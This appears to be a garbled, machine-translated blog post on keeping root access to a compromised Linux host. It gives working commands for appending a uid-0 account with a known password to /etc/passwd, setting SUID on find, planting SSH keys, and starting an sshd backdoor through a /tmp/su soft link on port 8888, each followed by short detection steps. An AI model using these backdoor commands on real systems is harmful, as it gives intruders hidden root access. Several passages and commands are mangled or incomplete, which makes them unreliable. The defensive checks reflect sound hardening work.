linux privilege maintenance (partial)

Keywords: Linux CentOS ssh

Modify permissions:

Add Account:

Add normal users:

useradd guest;echo 'guest:123456'|chpasswd

Add root user (mentioned above)

echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
 Account: test 
Password: password@123

It's easy to add an account to maintain permissions.

Defense method:

 Query Privileged User Privileged Users(uid 0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
 Query account information for remote logins
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
 except root Does other account number exist outside of account number sudo Jurisdiction. General Account Number should be deleted if not required for Administration sudo Jurisdiction
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

Design sketch:

Configure SUID:

Give permission

Contrary to authorization, authorization requires SUID privileges to be authorized, so here we also need to give SUID to maintain our privileges

Add permissions to the script commands you want to make:

chmod u+s /usr/bin/find
chmod u-s /usr/bin/find

Then the command executes

Defense method:

First list the commands with SUID:

find / -user root -perm -4000 -print 2>/dev/null  (Find Has SUID Command of)

If an improperly configured command is found, delete it:

chmod u-s /usr/bin/find

SSH Secret Login

Here is a brief description of the following SSH

From the image above, you can see that when we log in using SSH, there are mainly the following steps:

User Use ssh user@host Command initiates a logon request to the remote host;
The remote host returns its own public key to the requesting host;
Request the host to encrypt the password entered by the user using the public key;
Request host to send encrypted password to remote host;
The remote host uses the private key to decrypt the password;
Finally, the remote host decides whether the decrypted password is the same as the user's password and agrees to log on consistently, otherwise, the remote host decides to log on consistently.

As for Secret-Free Login, the following figure shows you in seconds:

There are public and private keys, and unknown partners can look up the data themselves. There is a key place here, and also the key point of secret login:
Affected 🐓 Under attack 🐓 After a request from the authorized_ Find in keys and return a string to the attack if there is a corresponding username and IP 🐓, The rest of the process is in the picture, let's not talk more about it

Secret-free configuration:


ssh-keygen -t rsa

Build one locally

Press three consecutive carriage returns here (just do it)

Where id_rsa is the private key and is the public key. Next, open and copy the content to the server. Append the content of to/root/.ssh/authorized_keys and the configuration is complete.
ssh root@ip Connect it


1.Client Generate Public and Private Key
 Local client generates public and private keys: (Enter all the way by default)
 The above command will appear in the user directory.ssh Create public and private keys under folders
cd ~/.ssh
 Next, create two keys:
id_rsa (Private Key) (public key)

2.Upload Public Key to Server

The server address tested here is:
 Users are: root

ssh-copy-id -i ~/.ssh/ root@
 The command above is written to the server ssh Catalog down

cd ~/.ssh

vim authorized_keys

You can see that the client writes to the server's (Public Key) Content.

Defense method:

View/root/.ssh/authorized_ Is keys modified

cd ~/.ssh
vim authorized_keys

SSH Soft Link Secret-Free Login

If the sshd service configuration runs PAM authentication, only pam_is required when the control flag in the PAM configuration file is sufficient ly The rootok module can successfully authenticate the login if it detects that the uid is 0, that is, the root privilege.
With soft connections, PAM authentication is essentially done by finding the corresponding PAM configuration file (e.g. /etc/pam.d/su) in the / etc/pam.d/directory through the file name/tmp/su of the soft connection. The core of any password login is auth sufficient, any SSH password can be logged on as long as the PAM configuration file contains this configuration, as can chsh and chfn in addition to su.

In general, pam_ The main function of the module is to enable users with uid 0, that is, root users can be authenticated directly without entering a password.

Pam_ A typical application of the module is to insert into authentication profiles of some applications, where root users can authenticate without entering a password when executing these commands.

For example, with the "su" command, why can you switch to the normal user identity as root without entering any password?

It's not surprising when we look at the contents of the / etc/pam.d/su file. Because the first line of the file is:

auth sufficient

If you comment out this line configuration, you will find that you still need to enter a password even when switching from normal user to root user.

Soft connection:

Execute the following command with root privileges under the target server

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

The above command links/tmp/su to/usr/sbin/sshd and listens on the specified port 8888

Connect remotely and enter your password freely

ssh -p 12345

Defense method:
View processes, ports kill in time

ps aux
kill -s 9 PID

Posted by bubbadawg on Fri, 19 Nov 2021 12:48:45 -0800